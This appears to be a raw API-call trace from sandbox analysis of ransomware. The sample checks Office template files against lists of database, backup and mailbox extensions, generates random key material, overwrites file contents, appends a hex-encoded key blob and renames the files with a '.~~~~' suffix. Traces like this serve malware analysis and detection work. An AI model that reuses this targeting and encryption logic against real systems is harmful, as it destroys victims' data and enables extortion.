	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".sdf") returned 0x0
	[0137.390] lstrlenW (lpString=".accdb") returned 6
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".accdb") returned 0x0
	[0137.390] lstrlenW (lpString=".DBX") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DBX") returned 0x0
	[0137.390] lstrlenW (lpString=".MDT") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".MDT") returned 0x0
	[0137.390] lstrlenW (lpString=".SQB") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".SQB") returned 0x0
	[0137.390] lstrlenW (lpString=".vhd") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".vhd") returned 0x0
	[0137.390] lstrlenW (lpString=".bac") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".bac") returned 0x0
	[0137.390] lstrlenW (lpString=".mdf") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".mdf") returned 0x0
	[0137.390] lstrlenW (lpString=".BAK") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".BAK") returned 0x0
	[0137.390] lstrlenW (lpString=".BAC") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".BAC") returned 0x0
	[0137.390] lstrlenW (lpString=".dbs") returned 4
	[0137.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dbs") returned 0x0
	[0137.390] lstrlenW (lpString=".vhdx") returned 5
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".vhdx") returned 0x0
	[0137.391] lstrlenW (lpString=".NDF") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".NDF") returned 0x0
	[0137.391] lstrlenW (lpString=".dat") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dat") returned 0x0
	[0137.391] lstrlenW (lpString=".DBS") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DBS") returned 0x0
	[0137.391] lstrlenW (lpString=".CKP") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".CKP") returned 0x0
	[0137.391] lstrlenW (lpString=".edb") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".edb") returned 0x0
	[0137.391] lstrlenW (lpString=".PST") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".PST") returned 0x0
	[0137.391] lstrlenW (lpString=".dbf") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dbf") returned 0x0
	[0137.391] lstrlenW (lpString=".SQL") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".SQL") returned 0x0
	[0137.391] lstrlenW (lpString=".pst") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".pst") returned 0x0
	[0137.391] lstrlenW (lpString=".dbv") returned 4
	[0137.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dbv") returned 0x0
	[0137.392] lstrlenW (lpString=".SDF") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".SDF") returned 0x0
	[0137.392] lstrlenW (lpString=".dtxs") returned 5
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dtxs") returned 0x0
	[0137.392] lstrlenW (lpString=".db3") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".db3") returned 0x0
	[0137.392] lstrlenW (lpString=".OST") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".OST") returned 0x0
	[0137.392] lstrlenW (lpString=".dbx") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dbx") returned 0x0
	[0137.392] lstrlenW (lpString=".DB3") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DB3") returned 0x0
	[0137.392] lstrlenW (lpString=".DAT") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DAT") returned 0x0
	[0137.392] lstrlenW (lpString=".VHDX") returned 5
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".VHDX") returned 0x0
	[0137.392] lstrlenW (lpString=".ndf") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".ndf") returned 0x0
	[0137.392] lstrlenW (lpString=".DB") returned 3
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DB") returned 0x0
	[0137.392] lstrlenW (lpString=".sql") returned 4
	[0137.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".sql") returned 0x0
	[0137.392] lstrlenW (lpString=".MYD") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".MYD") returned 0x0
	[0137.393] lstrlenW (lpString=".DBT") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DBT") returned 0x0
	[0137.393] lstrlenW (lpString=".ACCDB") returned 6
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".ACCDB") returned 0x0
	[0137.393] lstrlenW (lpString=".fdb") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".fdb") returned 0x0
	[0137.393] lstrlenW (lpString=".bak") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".bak") returned 0x0
	[0137.393] lstrlenW (lpString=".myd") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".myd") returned 0x0
	[0137.393] lstrlenW (lpString=".DTXS") returned 5
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DTXS") returned 0x0
	[0137.393] lstrlenW (lpString=".ckp") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".ckp") returned 0x0
	[0137.393] lstrlenW (lpString=".dbt") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dbt") returned 0x0
	[0137.393] lstrlenW (lpString=".db") returned 3
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".db") returned 0x0
	[0137.393] lstrlenW (lpString=".TXT") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".TXT") returned 0x0
	[0137.393] lstrlenW (lpString=".MDF") returned 4
	[0137.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".MDF") returned 0x0
	[0137.393] lstrlenW (lpString=".bdb") returned 4
	[0137.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".bdb") returned 0x0
	[0137.394] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0137.394] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0137.395] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0137.395] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0137.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0137.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.395] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25738551344) returned 1
	[0137.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb554e10, dwHighDateTime=0x1d60e1e)) 
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28256a0
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28256a0 | out: hHeap=0x300000) returned 1
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.396] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.396] GetLastError () returned 0x0
	[0137.397] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.397] GetLastError () returned 0x0
	[0137.412] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffde00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.412] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x2200, lpOverlapped=0x0) returned 1
	[0137.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.413] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.413] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.413] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.413] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.413] CloseHandle (hObject=0xc4) returned 1
	[0137.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.~~~~")) returned 1
	[0137.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5ff0 | out: hHeap=0x300000) returned 1
	[0137.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.416] GetLastError () returned 0x0
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".scr") returned 0x0
	[0137.417] lstrlenW (lpString=".cmd") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".cmd") returned 0x0
	[0137.417] lstrlenW (lpString=".dll") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dll") returned 0x0
	[0137.417] lstrlenW (lpString=".bat") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".bat") returned 0x0
	[0137.417] lstrlenW (lpString=".cpl") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".cpl") returned 0x0
	[0137.417] lstrlenW (lpString=".sys") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".sys") returned 0x0
	[0137.417] lstrlenW (lpString=".msc") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".msc") returned 0x0
	[0137.417] lstrlenW (lpString=".com") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".com") returned 0x0
	[0137.417] lstrlenW (lpString=".lnk") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".lnk") returned 0x0
	[0137.417] lstrlenW (lpString=".msp") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".msp") returned 0x0
	[0137.417] lstrlenW (lpString=".pif") returned 4
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".pif") returned 0x0
	[0137.417] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch="msp\r\n.pif") returned 0x0
	[0137.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.419] lstrlenW (lpString=".sqb") returned 4
	[0137.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".sqb") returned 0x0
	[0137.419] lstrlenW (lpString=".ost") returned 4
	[0137.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".ost") returned 0x0
	[0137.419] lstrlenW (lpString=".txt") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".txt") returned 0x0
	[0137.420] lstrlenW (lpString=".mdt") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".mdt") returned 0x0
	[0137.420] lstrlenW (lpString=".BDB") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".BDB") returned 0x0
	[0137.420] lstrlenW (lpString=".eql") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".eql") returned 0x0
	[0137.420] lstrlenW (lpString=".DBF") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DBF") returned 0x0
	[0137.420] lstrlenW (lpString=".EQL") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".EQL") returned 0x0
	[0137.420] lstrlenW (lpString=".FDB") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".FDB") returned 0x0
	[0137.420] lstrlenW (lpString=".EDB") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".EDB") returned 0x0
	[0137.420] lstrlenW (lpString=".DACPAC") returned 7
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DACPAC") returned 0x0
	[0137.420] lstrlenW (lpString=".VHD") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".VHD") returned 0x0
	[0137.420] lstrlenW (lpString=".DBV") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DBV") returned 0x0
	[0137.420] lstrlenW (lpString=".dacpac") returned 7
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dacpac") returned 0x0
	[0137.420] lstrlenW (lpString=".sdf") returned 4
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".sdf") returned 0x0
	[0137.420] lstrlenW (lpString=".accdb") returned 6
	[0137.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".accdb") returned 0x0
	[0137.420] lstrlenW (lpString=".DBX") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DBX") returned 0x0
	[0137.421] lstrlenW (lpString=".MDT") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".MDT") returned 0x0
	[0137.421] lstrlenW (lpString=".SQB") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".SQB") returned 0x0
	[0137.421] lstrlenW (lpString=".vhd") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".vhd") returned 0x0
	[0137.421] lstrlenW (lpString=".bac") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".bac") returned 0x0
	[0137.421] lstrlenW (lpString=".mdf") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".mdf") returned 0x0
	[0137.421] lstrlenW (lpString=".BAK") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".BAK") returned 0x0
	[0137.421] lstrlenW (lpString=".BAC") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".BAC") returned 0x0
	[0137.421] lstrlenW (lpString=".dbs") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dbs") returned 0x0
	[0137.421] lstrlenW (lpString=".vhdx") returned 5
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".vhdx") returned 0x0
	[0137.421] lstrlenW (lpString=".NDF") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".NDF") returned 0x0
	[0137.421] lstrlenW (lpString=".dat") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dat") returned 0x0
	[0137.421] lstrlenW (lpString=".DBS") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DBS") returned 0x0
	[0137.421] lstrlenW (lpString=".CKP") returned 4
	[0137.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".CKP") returned 0x0
	[0137.422] lstrlenW (lpString=".edb") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".edb") returned 0x0
	[0137.422] lstrlenW (lpString=".PST") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".PST") returned 0x0
	[0137.422] lstrlenW (lpString=".dbf") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dbf") returned 0x0
	[0137.422] lstrlenW (lpString=".SQL") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".SQL") returned 0x0
	[0137.422] lstrlenW (lpString=".pst") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".pst") returned 0x0
	[0137.422] lstrlenW (lpString=".dbv") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dbv") returned 0x0
	[0137.422] lstrlenW (lpString=".SDF") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".SDF") returned 0x0
	[0137.422] lstrlenW (lpString=".dtxs") returned 5
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dtxs") returned 0x0
	[0137.422] lstrlenW (lpString=".db3") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".db3") returned 0x0
	[0137.422] lstrlenW (lpString=".OST") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".OST") returned 0x0
	[0137.422] lstrlenW (lpString=".dbx") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dbx") returned 0x0
	[0137.422] lstrlenW (lpString=".DB3") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DB3") returned 0x0
	[0137.422] lstrlenW (lpString=".DAT") returned 4
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DAT") returned 0x0
	[0137.422] lstrlenW (lpString=".VHDX") returned 5
	[0137.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".VHDX") returned 0x0
	[0137.423] lstrlenW (lpString=".ndf") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".ndf") returned 0x0
